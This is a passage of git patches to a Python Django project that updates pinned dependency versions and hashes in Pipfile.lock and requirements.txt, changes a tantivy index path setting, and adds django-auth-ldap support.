"sha256:a2db9cb228a81da8348b49ad6db3f5519452dd20a9c1e1a868c83c5fe88fd1a9", + "sha256:cd74ce3b53c461f1228a9b783929ac73a666658f223e28ed29753771477b3bd0" ], "index": "pypi", - "version": "==2.31.0.3" + "markers": "python_version >= '3.7'", + "version": "==2.31.0.6" }, "types-s3transfer": { "hashes": [ - "sha256:1068877b6e59be5226fa3006ae64371ac9d5bc590dfdbd9c66fd0a075d3254ac", - "sha256:4ba9b483796fdcd026aa162ee03bdcedd2bf7d08e9387c820dcdd158b0102057" + "sha256:aca0f2486d0a3a5037cd5b8f3e20a4522a29579a8dd183281ff0aa1c4e2c8aa7", + "sha256:ae9ed9273465d9f43da8b96307383da410c6b59c3b2464c88d20b578768e97c6" ], "markers": "python_version >= '3.7' and python_version < '4.0'", - "version": "==0.6.2" + "version": "==0.7.0" }, "types-urllib3": { "hashes": [ @@ -2119,10 +2138,10 @@ }, "wcwidth": { "hashes": [ - "sha256:795b138f6875577cd91bba52baf9e445cd5118fd32723b460e30a0af30ea230e", - "sha256:a5220780a404dbe3353789870978e472cfe477761f06ee55077256e509b156d0" + "sha256:77f719e01648ed600dfa5402c347481c0992263b81a027344f3e1ba25493a704", + "sha256:8705c569999ffbb4f6a87c6d1b80f324bd6db952f5eb0b95bc07517f4c1813d4" ], - "version": "==0.2.6" + "version": "==0.2.8" }, "xlrd": { "hashes": [ @@ -2149,39 +2168,45 @@ }, "zope.interface": { "hashes": [ - "sha256:042f2381118b093714081fd82c98e3b189b68db38ee7d35b63c327c470ef8373", - "sha256:0ec9653825f837fbddc4e4b603d90269b501486c11800d7c761eee7ce46d1bbb", - "sha256:12175ca6b4db7621aedd7c30aa7cfa0a2d65ea3a0105393e05482d7a2d367446", - "sha256:1592f68ae11e557b9ff2bc96ac8fc30b187e77c45a3c9cd876e3368c53dc5ba8", - "sha256:23ac41d52fd15dd8be77e3257bc51bbb82469cf7f5e9a30b75e903e21439d16c", - "sha256:424d23b97fa1542d7be882eae0c0fc3d6827784105264a8169a26ce16db260d8", - "sha256:4407b1435572e3e1610797c9203ad2753666c62883b921318c5403fb7139dec2", - "sha256:48f4d38cf4b462e75fac78b6f11ad47b06b1c568eb59896db5b6ec1094eb467f", - "sha256:4c3d7dfd897a588ec27e391edbe3dd320a03684457470415870254e714126b1f", - "sha256:5171eb073474a5038321409a630904fd61f12dd1856dd7e9d19cd6fe092cbbc5", - "sha256:5a158846d0fca0a908c1afb281ddba88744d403f2550dc34405c3691769cdd85", - "sha256:6ee934f023f875ec2cfd2b05a937bd817efcc6c4c3f55c5778cbf78e58362ddc", - "sha256:790c1d9d8f9c92819c31ea660cd43c3d5451df1df61e2e814a6f99cebb292788", - "sha256:809fe3bf1a91393abc7e92d607976bbb8586512913a79f2bf7d7ec15bd8ea518", - "sha256:87b690bbee9876163210fd3f500ee59f5803e4a6607d1b1238833b8885ebd410", - "sha256:89086c9d3490a0f265a3c4b794037a84541ff5ffa28bb9c24cc9f66566968464", - "sha256:99856d6c98a326abbcc2363827e16bd6044f70f2ef42f453c0bd5440c4ce24e5", - "sha256:aab584725afd10c710b8f1e6e208dbee2d0ad009f57d674cb9d1b3964037275d", - "sha256:af169ba897692e9cd984a81cb0f02e46dacdc07d6cf9fd5c91e81f8efaf93d52", - "sha256:b39b8711578dcfd45fc0140993403b8a81e879ec25d53189f3faa1f006087dca", - "sha256:b3f543ae9d3408549a9900720f18c0194ac0fe810cecda2a584fd4dca2eb3bb8", - "sha256:d0583b75f2e70ec93f100931660328965bb9ff65ae54695fb3fa0a1255daa6f2", - "sha256:dfbbbf0809a3606046a41f8561c3eada9db811be94138f42d9135a5c47e75f6f", - "sha256:e538f2d4a6ffb6edfb303ce70ae7e88629ac6e5581870e66c306d9ad7b564a58", - "sha256:eba51599370c87088d8882ab74f637de0c4f04a6d08a312dce49368ba9ed5c2a", - "sha256:ee4b43f35f5dc15e1fec55ccb53c130adb1d11e8ad8263d68b1284b66a04190d", - "sha256:f2363e5fd81afb650085c6686f2ee3706975c54f331b426800b53531191fdf28", - "sha256:f299c020c6679cb389814a3b81200fe55d428012c5e76da7e722491f5d205990", - "sha256:f72f23bab1848edb7472309e9898603141644faec9fd57a823ea6b4d1c4c8995", - "sha256:fa90bac61c9dc3e1a563e5babb3fd2c0c1c80567e815442ddbe561eadc803b30" + "sha256:0c8cf55261e15590065039696607f6c9c1aeda700ceee40c70478552d323b3ff", + "sha256:13b7d0f2a67eb83c385880489dbb80145e9d344427b4262c49fbf2581677c11c", + "sha256:1f294a15f7723fc0d3b40701ca9b446133ec713eafc1cc6afa7b3d98666ee1ac", + "sha256:239a4a08525c080ff833560171d23b249f7f4d17fcbf9316ef4159f44997616f", + "sha256:2f8d89721834524a813f37fa174bac074ec3d179858e4ad1b7efd4401f8ac45d", + "sha256:2fdc7ccbd6eb6b7df5353012fbed6c3c5d04ceaca0038f75e601060e95345309", + "sha256:34c15ca9248f2e095ef2e93af2d633358c5f048c49fbfddf5fdfc47d5e263736", + "sha256:387545206c56b0315fbadb0431d5129c797f92dc59e276b3ce82db07ac1c6179", + "sha256:43b576c34ef0c1f5a4981163b551a8781896f2a37f71b8655fd20b5af0386abb", + "sha256:57d0a8ce40ce440f96a2c77824ee94bf0d0925e6089df7366c2272ccefcb7941", + "sha256:5a804abc126b33824a44a7aa94f06cd211a18bbf31898ba04bd0924fbe9d282d", + "sha256:67be3ca75012c6e9b109860820a8b6c9a84bfb036fbd1076246b98e56951ca92", + "sha256:6af47f10cfc54c2ba2d825220f180cc1e2d4914d783d6fc0cd93d43d7bc1c78b", + "sha256:6dc998f6de015723196a904045e5a2217f3590b62ea31990672e31fbc5370b41", + "sha256:70d2cef1bf529bff41559be2de9d44d47b002f65e17f43c73ddefc92f32bf00f", + "sha256:7ebc4d34e7620c4f0da7bf162c81978fce0ea820e4fa1e8fc40ee763839805f3", + "sha256:964a7af27379ff4357dad1256d9f215047e70e93009e532d36dcb8909036033d", + "sha256:97806e9ca3651588c1baaebb8d0c5ee3db95430b612db354c199b57378312ee8", + "sha256:9b9bc671626281f6045ad61d93a60f52fd5e8209b1610972cf0ef1bbe6d808e3", + "sha256:9ffdaa5290422ac0f1688cb8adb1b94ca56cee3ad11f29f2ae301df8aecba7d1", + "sha256:a0da79117952a9a41253696ed3e8b560a425197d4e41634a23b1507efe3273f1", + "sha256:a41f87bb93b8048fe866fa9e3d0c51e27fe55149035dcf5f43da4b56732c0a40", + "sha256:aa6fd016e9644406d0a61313e50348c706e911dca29736a3266fc9e28ec4ca6d", + "sha256:ad54ed57bdfa3254d23ae04a4b1ce405954969c1b0550cc2d1d2990e8b439de1", + "sha256:b012d023b4fb59183909b45d7f97fb493ef7a46d2838a5e716e3155081894605", + "sha256:b51b64432eed4c0744241e9ce5c70dcfecac866dff720e746d0a9c82f371dfa7", + "sha256:bbe81def9cf3e46f16ce01d9bfd8bea595e06505e51b7baf45115c77352675fd", + "sha256:c9559138690e1bd4ea6cd0954d22d1e9251e8025ce9ede5d0af0ceae4a401e43", + "sha256:e30506bcb03de8983f78884807e4fd95d8db6e65b69257eea05d13d519b83ac0", + "sha256:e33e86fd65f369f10608b08729c8f1c92ec7e0e485964670b4d2633a4812d36b", + "sha256:e441e8b7d587af0414d25e8d05e27040d78581388eed4c54c30c0c91aad3a379", + "sha256:e8bb9c990ca9027b4214fa543fd4025818dc95f8b7abce79d61dc8a2112b561a", + "sha256:ef43ee91c193f827e49599e824385ec7c7f3cd152d74cb1dfe02cb135f264d83", + "sha256:ef467d86d3cfde8b39ea1b35090208b0447caaabd38405420830f7fd85fbdd56", + "sha256:f89b28772fc2562ed9ad871c865f5320ef761a7fcc188a935e21fe8b31a38ca9", + "sha256:fddbab55a2473f1d3b8833ec6b7ac31e8211b0aa608df5ab09ce07f3727326de" ], "markers": "python_version >= '3.7'", - "version": "==6.0" + "version": "==6.1" } }, "develop": {} diff --git a/requirements.txt b/requirements.txt index 7f685d367..ed1467387 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,5 @@ -i https://pypi.org/simple -aliyun-python-sdk-core==2.13.36 +aliyun-python-sdk-core==2.14.0 aliyun-python-sdk-core-v3==2.13.33 aliyun-python-sdk-kms==2.16.2 amqp==5.1.1; python_version >= '3.6' @@ -9,26 +9,26 @@ attrs==23.1.0; python_version >= '3.7' autopep8==2.0.4; python_version >= '3.6' billiard==4.1.0; python_version >= '3.7' boto3==1.24.59; python_version >= '3.7' -boto3-stubs==1.28.52; python_version >= '3.7' +boto3-stubs==1.28.62; python_version >= '3.7' botocore==1.27.91; python_version >= '3.7' -botocore-stubs==1.31.52; python_version >= '3.7' and python_version < '4.0' +botocore-stubs==1.31.62; python_version >= '3.7' and python_version < '4.0' celery==5.3.0rc1; python_version >= '3.7' celery-singleton==0.3.1; python_version >= '3.6' and python_version < '4.0' certifi==2023.7.22; python_version >= '3.6' -cffi==1.15.1 +cffi==1.16.0; python_version >= '3.8' chardet==5.2.0; python_version >= '3.7' -charset-normalizer==3.2.0; python_full_version >= '3.7.0' +charset-normalizer==3.3.0; python_full_version >= '3.7.0' click==8.1.7; python_version >= '3.7' click-didyoumean==0.3.0; python_full_version >= '3.6.2' and python_full_version < '4.0.0' click-plugins==1.1.1 click-repl==0.3.0; python_version >= '3.6' crcmod==1.7 cryptography==41.0.4; python_version >= '3.7' -dataclasses-json==0.6.0; python_version >= '3.7' and python_version < '4.0' +dataclasses-json==0.6.1; python_version >= '3.7' and python_version < '4.0' ddt==1.6.0 defusedxml==0.7.1; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' diff-match-patch==20230430; python_version >= '3.7' -django==3.2.21; python_version >= '3.6' +django==3.2.22; python_version >= '3.6' django-add-default-value==0.10.0 django-celery-beat==2.2.0 django-cors-headers==4.2.0; python_version >= '3.8' @@ -44,8 +44,8 @@ django-ranged-response==0.2.0 django-redis==5.2.0; python_version >= '3.6' django-rest-framework-proxy==1.6.0 django-seriously==0.4.3; python_version >= '3.6' -django-silk==5.0.3; python_version >= '3.7' -django-simple-captcha==0.5.18 +django-silk==5.0.4; python_version >= '3.8' +django-simple-captcha==0.5.20 django-stubs[compatible-mypy]==1.15.0; python_version >= '3.7' django-stubs-ext==4.2.2; python_version >= '3.8' django-timezone-field==4.2.3; python_version >= '3.5' @@ -64,7 +64,7 @@ et-xmlfile==1.1.0; python_version >= '3.6' flower==2.0.1; python_version >= '3.7' gevent==22.10.2; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5' gprof2dot==2022.7.29; python_version >= '2.7' -greenlet==2.0.2; platform_python_implementation == 'CPython' +greenlet==3.0.0; platform_python_implementation == 'CPython' gunicorn==20.1.0; python_version >= '3.5' humanize==4.8.0; python_version >= '3.8' id-validator==1.0.20; python_version >= '3' @@ -103,11 +103,12 @@ pycodestyle==2.11.0; python_version >= '3.8' pycparser==2.21 pycryptodome==3.19.0; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' pycryptodomex==3.14.1; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' -pydantic==1.10.12; python_version >= '3.7' +pydantic==1.10.13; python_version >= '3.7' pydot==1.4.2; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' pymysql==1.0.2; python_version >= '3.6' pyotp==2.9.0; python_version >= '3.7' pyparsing==3.1.1; python_full_version >= '3.6.8' +pypng==0.20220715.0 pyre2==0.3.6; python_version >= '3.6' pyrsistent==0.19.1; python_version >= '3.7' python-crontab==3.0.0 @@ -116,11 +117,12 @@ python-docx==0.8.11 python-json-logger==2.0.7; python_version >= '3.6' pytz==2022.6 pyyaml==6.0.1; python_version >= '3.6' +qrcode==7.4.2; python_version >= '3.7' redis==4.4.4; python_version >= '3.7' requests==2.31.0; python_version >= '3.7' result==0.8.0; python_version >= '3.7' s3transfer==0.6.2; python_version >= '3.7' -scipy==1.11.2; python_version < '3.13' and python_version >= '3.9' +scipy==1.11.3; python_version < '3.13' and python_version >= '3.9' setuptools==65.5.1; python_version >= '3.7' shortuuid==1.0.11; python_version >= '3.5' simhash==2.1.2 @@ -129,15 +131,15 @@ sqlparse==0.4.4; python_version >= '3.5' tablib[html,ods,xls,xlsx,yaml]==3.5.0; python_version >= '3.8' tomli==2.0.1; python_version < '3.11' tornado==6.3.3; python_version >= '3.8' -types-awscrt==0.19.1; python_version >= '3.7' and python_version < '4.0' +types-awscrt==0.19.2; python_version >= '3.7' and python_version < '4.0' types-pymysql==1.1.0.1 types-pyopenssl==23.2.0.2 types-python-dateutil==2.8.19.14 types-pytz==2023.3.1.1 -types-pyyaml==6.0.12.11 -types-redis==4.6.0.6 -types-requests==2.31.0.3 -types-s3transfer==0.6.2; python_version >= '3.7' and python_version < '4.0' +types-pyyaml==6.0.12.12 +types-redis==4.6.0.7 +types-requests==2.31.0.6; python_version >= '3.7' +types-s3transfer==0.7.0; python_version >= '3.7' and python_version < '4.0' types-urllib3==1.26.25.14 typing-extensions==4.8.0; python_version >= '3.8' typing-inspect==0.9.0 @@ -147,8 +149,8 @@ urllib3==1.26.5; python_version >= '2.7' and python_version not in '3.0, 3.1, 3. uwsgi==2.0.22 uwsgitop==0.11 vine==5.0.0; python_version >= '3.6' -wcwidth==0.2.6 +wcwidth==0.2.8 xlrd==2.0.1 xlwt==1.3.0 zope.event==5.0; python_version >= '3.7' -zope.interface==6.0; python_version >= '3.7' +zope.interface==6.1; python_version >= '3.7' From 49327d96434c07445354882c8527789abf644019 Mon Sep 17 00:00:00 2001 From: st1020 Date: Sun, 8 Oct 2023 16:37:03 +0800 Subject: [PATCH 39/92] feat: change tantivy index path --- dongtai_conf/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/dongtai_conf/settings.py b/dongtai_conf/settings.py index ec674d4e1..049afa8a4 100644 --- a/dongtai_conf/settings.py +++ b/dongtai_conf/settings.py @@ -999,11 +999,11 @@ def safe_execute(default, exception, function, *args): try: TANTIVY_STATE = config.get("tantivy", "enable") == "true" except Exception: - TANTIVY_STATE = False + TANTIVY_STATE = True try: TANTIVY_INDEX_PATH = config.get("tantivy", "index_path") except Exception: - TANTIVY_INDEX_PATH = "/tmp/tantivy/index_path" + TANTIVY_INDEX_PATH = urljoin(TMP_COMMON_PATH, "tantivy") ELASTICSEARCH_STATE = config.get("elastic_search", "enable") == "true" From 085714e7d9144c97dee7eaa6d24ccf7f1b0e9ec3 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Sun, 8 Oct 2023 16:54:03 +0800 Subject: [PATCH 40/92] feat/add-ldap-settings --- Pipfile | 1 + Pipfile.lock | 99 +++++++------------ .../migrations/0033_auto_20231007_1152.py | 29 ++++++ .../migrations/0034_auto_20231007_1200.py | 26 +++++ dongtai_common/models/user.py | 5 +- dongtai_conf/settings.py | 12 +++ 6 files changed, 107 insertions(+), 65 deletions(-) create mode 100644 dongtai_common/migrations/0033_auto_20231007_1152.py create mode 100644 dongtai_common/migrations/0034_auto_20231007_1200.py diff --git a/Pipfile b/Pipfile index e73cf2113..df943d083 100644 --- a/Pipfile +++ b/Pipfile @@ -95,6 +95,7 @@ pydot = "*" more-itertools = "*" pyotp = "~=2.9.0" qrcode = "~=7.4" +django-auth-ldap = "==4.6.0" [dev-packages] diff --git a/Pipfile.lock b/Pipfile.lock index e534b09d2..511936b13 100644 --- a/Pipfile.lock +++ b/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "6d9fb8466f7ba2211dc64c3b71008f3845d5ad2ad4d1ae3b2df2378031a8af77" + "sha256": "8da72feb0855fe3e2c0c74c0d19be1930c05efb1c667d0454f86dc86ab58d175" }, "pipfile-spec": 6, "requires": { @@ -49,7 +49,6 @@ "sha256:9e0ce3aa93a819ba5b45120216b23878cf6e8525eb3848653452b4192b92afed" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==3.7.2" }, "async-timeout": { @@ -90,7 +89,6 @@ "sha256:a50b4323f9579cfe22fcf5531fbd40b567d4d74c1adce06aeb5c95fce2a6fb40" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==1.24.59" }, "boto3-stubs": { @@ -99,7 +97,6 @@ "sha256:f5ae08d2abae7709fff3e7cacea66c41cb43236527cfaf3975e506c6c67439a0" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==1.28.62" }, "botocore": { @@ -108,7 +105,6 @@ "sha256:c8fac203a391cc2e4b682877bfce70e723e33c529b35b399a1d574605fbeb1af" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==1.27.91" }, "botocore-stubs": { @@ -117,7 +113,6 @@ "sha256:d30217d8f6a0888616a44c83150490c5fbc899550ffe1896a2cd15a2205fd648" ], "index": "pypi", - "markers": "python_version >= '3.7' and python_version < '4.0'", "version": "==1.31.62" }, "celery": { @@ -126,7 +121,6 @@ "sha256:3afa81e7c6393097a4079badc11117ac20a1bf145c92ae5f1cc3ed24c2b1f165" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==5.3.0rc1" }, "celery-singleton": { @@ -135,7 +129,6 @@ "sha256:76b30a1bbe31d42030924b3eecfcaae2ab3ab99bf43e607cd46437f012434420" ], "index": "pypi", - "markers": "python_version >= '3.6' and python_version < '4.0'", "version": "==0.3.1" }, "certifi": { @@ -144,7 +137,6 @@ "sha256:92d6037539857d8206b8f6ae472e8b77db8058fec5937a1ef3f54304089edbb9" ], "index": "pypi", - "markers": "python_version >= '3.6'", "version": "==2023.7.22" }, "cffi": { @@ -203,7 +195,6 @@ "sha256:fcc8eb6d5902bb1cf6dc4f187ee3ea80a1eba0a89aba40a5cb20a5087d961357" ], "index": "pypi", - "markers": "python_version >= '3.8'", "version": "==1.16.0" }, "chardet": { @@ -212,7 +203,6 @@ "sha256:e1cf59446890a00105fe7b7912492ea04b6e6f06d4b742b2c788469e34c82970" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==5.2.0" }, "charset-normalizer": { @@ -386,7 +376,6 @@ "sha256:a53c220c35134ce08211a1057fd0e5bf76dc5331627c6b241cacbc570a89faae" ], "index": "pypi", - "markers": "python_version >= '3.7' and python_version < '4.0'", "version": "==0.6.1" }, "ddt": { @@ -419,7 +408,6 @@ "sha256:c5e7b668025a6e06cad9ba6d4de1fd1a21212acebb51ea34abb400c6e4d33430" ], "index": "pypi", - "markers": "python_version >= '3.6'", "version": "==3.2.22" }, "django-add-default-value": { @@ -430,6 +418,14 @@ "index": "pypi", "version": "==0.10.0" }, + "django-auth-ldap": { + "hashes": [ + "sha256:4e82ded9292dc6ac7a75784d81b95174b72ca5e650a76e11317e3b68008e56d8", + "sha256:9ae2bf87f9b6367b6cfd94a0451896cbc728e5400ed81cbfbd58ce743c0909a2" + ], + "index": "pypi", + "version": "==4.6.0" + }, "django-celery-beat": { "hashes": [ "sha256:b8a13afb15e7c53fc04f4f847ac71a6d32088959aba701eb7c4a59f0c28ba543", @@ -444,7 +440,6 @@ "sha256:f9749c6410fe738278bc2b6ef17f05195bc7b251693c035752d8257026af024f" ], "index": "pypi", - "markers": "python_version >= '3.8'", "version": "==4.2.0" }, "django-cprofile-middleware": { @@ -468,7 +463,6 @@ "sha256:65bc5d1d8f4fff3aaf74cb5da537b6620e9214fb4b3180f6c560776b1b6dccd0" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==23.3" }, "django-health-check": { @@ -477,7 +471,6 @@ "sha256:d1b8671e79d1de6e3dd1a9c69566222b0bfcfacca8b90511a4407b2d0d3d2778" ], "index": "pypi", - "markers": "python_version >= '3.8'", "version": "==3.17.0" }, "django-import-export": { @@ -486,7 +479,6 @@ "sha256:cf6f3dabdd4f32dcb26e25c7ddcba7aee3168b55d380b0da79f0349afa17c011" ], "index": "pypi", - "markers": "python_version >= '3.5'", "version": "==2.5.0" }, "django-mock-queries": { @@ -494,7 +486,7 @@ "sha256:7ee3f34752e8131479924ea6952fe37c4106cc18e6fc3e5e9b28b333eeda10b3" ], "index": "pypi", - "version": "==2.1.7" + "version": "==v2.1.7" }, "django-modeltranslation": { "hashes": [ @@ -524,7 +516,6 @@ "sha256:8a99e5582c79f894168f5865c52bd921213253b7fd64d16733ae4591564465de" ], "index": "pypi", - "markers": "python_version >= '3.6'", "version": "==5.2.0" }, "django-rest-framework-proxy": { @@ -540,7 +531,6 @@ "sha256:771f88a24f6166bdb3a944769fa09e24c317ea1b8f5ee8040d121d30b4395219" ], "index": "pypi", - "markers": "python_version >= '3.6'", "version": "==0.4.3" }, "django-silk": { @@ -549,7 +539,6 @@ "sha256:b345d3973d1d382e09735eb525eaf3eebd3edee9a69d1003eb9b01badb2438db" ], "index": "pypi", - "markers": "python_version >= '3.8'", "version": "==5.0.4" }, "django-simple-captcha": { @@ -568,7 +557,7 @@ "sha256:0bbf9eb172c5b06eccff2d704c7c3906e4a2c6146df8c32ee9f3a51e29265581", "sha256:25010658acac0ce4a69211b55dd719fd16dbfe54fcfe5c878d0c8db07bdd5482" ], - "markers": "python_version >= '3.7'", + "index": "pypi", "version": "==1.15.0" }, "django-stubs-ext": { @@ -600,7 +589,6 @@ "sha256:8f0e77289d911069a6a15bab5a25ccf2c0fcb8fc4177461dd17470cfdeb94aa6" ], "index": "pypi", - "markers": "python_version >= '3.6' and python_version < '4.0'", "version": "==2.0" }, "django-xff": { @@ -618,7 +606,6 @@ "sha256:f747949a8ddac876e879190df194b925c177cdeb725a099db1460872f7c0a7f2" ], "index": "pypi", - "markers": "python_version >= '3.5'", "version": "==3.12.4" }, "djangorestframework-dataclasses": { @@ -627,7 +614,6 @@ "sha256:d3796b5ce3f7266d525493c557ce7df9ffeae4367006250298ea4d94da4106c4" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==1.3.1" }, "djangorestframework-stubs": { @@ -638,7 +624,7 @@ "sha256:89f6c2add193cb5ab61b9e47187b33a93cc099376a8df5e4d6c3fc8ecb992d3b", "sha256:9475e1374b057ffbdcaaa84a060fe5f01476d8b9014d82a83b4153f57fbcbc1f" ], - "markers": "python_version >= '3.7'", + "index": "pypi", "version": "==1.9.1" }, "docxcompose": { @@ -662,7 +648,6 @@ "sha256:866e16ddaae167a1234c76cd8c351161373551db994ce9665b347b32d5daf38b" ], "index": "pypi", - "markers": "python_version >= '3.6'", "version": "==0.22.1" }, "elasticsearch": { @@ -671,7 +656,6 @@ "sha256:ed9c0cd58e05959a56e306ecf444f794da6afde75b213e26758f7a317e5e668c" ], "index": "pypi", - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' and python_version < '4'", "version": "==7.17.7" }, "elasticsearch-dsl": { @@ -696,7 +680,6 @@ "sha256:9db2c621eeefbc844c8dd88be64aef61e84e2deb29b271e02ab2b5b9f01068e2" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==2.0.1" }, "gevent": { @@ -755,7 +738,6 @@ "sha256:f7ed2346eb9dc4344f9cb0d7963ce5b74fe16fdd031a2809bb6c2b6eba7ebcd5" ], "index": "pypi", - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", "version": "==22.10.2" }, "gprof2dot": { @@ -840,7 +822,6 @@ "sha256:e0a968b5ba15f8a328fdfd7ab1fcb5af4470c28aaf7e55df02a99bc13138e6e8" ], "index": "pypi", - "markers": "python_version >= '3.5'", "version": "==20.1.0" }, "humanize": { @@ -856,7 +837,6 @@ "sha256:90b73b89f807f8b387beaa7f1f86baa4a64fa5674df5db9ab1a7362433f8e3b8" ], "index": "pypi", - "markers": "python_version >= '3'", "version": "==1.0.20" }, "idna": { @@ -865,7 +845,6 @@ "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0" ], "index": "pypi", - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==2.10" }, "inflection": { @@ -951,7 +930,6 @@ "sha256:fe9fb7748e39b30b5723a7f6695e2f6c58707563b94f1239766d2c8b9550f147" ], "index": "pypi", - "markers": "python_version >= '3.5'", "version": "==1.3.0" }, "jsonlog": { @@ -960,7 +938,6 @@ "sha256:ee313731f2a8611a13e0c15cfcfbab75c524f27c8bae24eaeb7ee7a061a60c55" ], "index": "pypi", - "markers": "python_version >= '3.6' and python_version < '4.0'", "version": "==4.0.0" }, "jsonschema": { @@ -969,7 +946,6 @@ "sha256:f660066c3966db7d6daeaea8a75e0b68237a48e51cf49882087757bb59916248" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==4.17.0" }, "kombu": { @@ -1054,7 +1030,6 @@ "sha256:fe749b052bb7233fe5d072fcb549221a8cb1a16725c47c37e42b0b9cb3ff2c3f" ], "index": "pypi", - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", "version": "==4.9.1" }, "marisa-trie": { @@ -1124,7 +1099,6 @@ "sha256:fb76cbb76a10231b6e7366a31a7eecfc742d32f8988ded0b5ae8b325c49ef103" ], "index": "pypi", - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==0.8.0" }, "markuppy": { @@ -1229,7 +1203,6 @@ "sha256:64e0735fcfdc6f3464ea133afe8ea4483b1c5fe3a3d69852e6503b43a0b222e6" ], "index": "pypi", - "markers": "python_version >= '3.8'", "version": "==10.1.0" }, "mypy": { @@ -1262,7 +1235,6 @@ "sha256:eda5c8b9949ed411ff752b9a01adda31afe7eae1e53e946dbdf9db23865e66c4" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==1.0.1" }, "mypy-extensions": { @@ -1284,7 +1256,6 @@ "sha256:9c6b142836c7dba4f723bf9c93cc46b6e5081d65b2af807f400dda9eb85a16d0" ], "index": "pypi", - "markers": "python_version >= '3.8'", "version": "==2.2.0" }, "networkit": { @@ -1317,7 +1288,7 @@ "sha256:4f33f68cb2afcf86f28a45f43efc27a9386b535d567d2127f8f61d51dec58d36", "sha256:de346335408f84de0eada6ff9fafafff9bcda11f0a0dfaa931133debb146ab61" ], - "markers": "python_version >= '3.8'", + "index": "pypi", "version": "==3.1" }, "numpy": { @@ -1371,7 +1342,6 @@ "sha256:8f3b11bd896a95468a4ab162fc4fcd260d46157155d1f8bfaabb99d88cfcf79f" ], "index": "pypi", - "markers": "python_version >= '3.6'", "version": "==3.0.9" }, "oss2": { @@ -1387,7 +1357,6 @@ "sha256:ef103e05f519cdc783ae24ea4e2e0f508a9c99b2d4969652eed6a2e1ea5bd522" ], "index": "pypi", - "markers": "python_version >= '3.6'", "version": "==21.3" }, "pandas": { @@ -1419,7 +1388,6 @@ "sha256:ffa8f0966de2c22de408d0e322db2faed6f6e74265aa0856f3824813cf124363" ], "index": "pypi", - "markers": "python_version >= '3.9'", "version": "==2.1.1" }, "pep8": { @@ -1495,7 +1463,6 @@ "sha256:f1ff2ee69f10f13a9596480335f406dd1f70c3650349e2be67ca3139280cade0" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==9.3.0" }, "prometheus-client": { @@ -1514,6 +1481,22 @@ "markers": "python_full_version >= '3.7.0'", "version": "==3.0.39" }, + "pyasn1": { + "hashes": [ + "sha256:87a2121042a1ac9358cabcaf1d07680ff97ee6404333bacca15f76aa8ad01a57", + "sha256:97b7290ca68e62a832558ec3976f15cbf911bf5d7c7039d8b861c2a0ece69fde" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", + "version": "==0.5.0" + }, + "pyasn1-modules": { + "hashes": [ + "sha256:5bd01446b736eb9d31512a30d46c1ac3395d676c6f3cafa4c03eb54b9925631c", + "sha256:d3ccd6ed470d9ffbc716be08bd90efbd44d0734bc9303818f7336070984a162d" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", + "version": "==0.3.0" + }, "pycodestyle": { "hashes": [ "sha256:259bcc17857d8a8b3b4a2327324b79e5f020a13c16074670f9c8c8f872ea76d0", @@ -1598,7 +1581,6 @@ "sha256:f8524b8bc89470cec7ac51734907818d3620fb1637f8f8b542d650ebec42a126" ], "index": "pypi", - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", "version": "==3.14.1" }, "pydantic": { @@ -1649,7 +1631,6 @@ "sha256:66c98190c65b8d2e2382a441b4c0edfdb4f4c025ef9cb9874de478fb0793a451" ], "index": "pypi", - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==1.4.2" }, "pymysql": { @@ -1658,7 +1639,6 @@ "sha256:816927a350f38d56072aeca5dfb10221fe1dc653745853d30a216637f5d7ad36" ], "index": "pypi", - "markers": "python_version >= '3.6'", "version": "==1.0.2" }, "pyotp": { @@ -1667,7 +1647,6 @@ "sha256:81c2e5865b8ac55e825b0358e496e1d9387c811e85bb40e71a3b29b288963612" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==2.9.0" }, "pyparsing": { @@ -1706,7 +1685,6 @@ "sha256:f3ae7b087abcbc4b910d535c2fb877ef452b61d2514a63fd15b8b020b51fe4b5" ], "index": "pypi", - "markers": "python_version >= '3.6'", "version": "==0.3.6" }, "pyrsistent": { @@ -1735,7 +1713,6 @@ "sha256:d16ac5ab3d9db78fed40c884d67079524e4cf8276639211ad9e6fa73e727727e" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==0.19.1" }, "python-crontab": { @@ -1766,9 +1743,15 @@ "sha256:f380b826a991ebbe3de4d897aeec42760035ac760345e57b812938dc8b35e2bd" ], "index": "pypi", - "markers": "python_version >= '3.6'", "version": 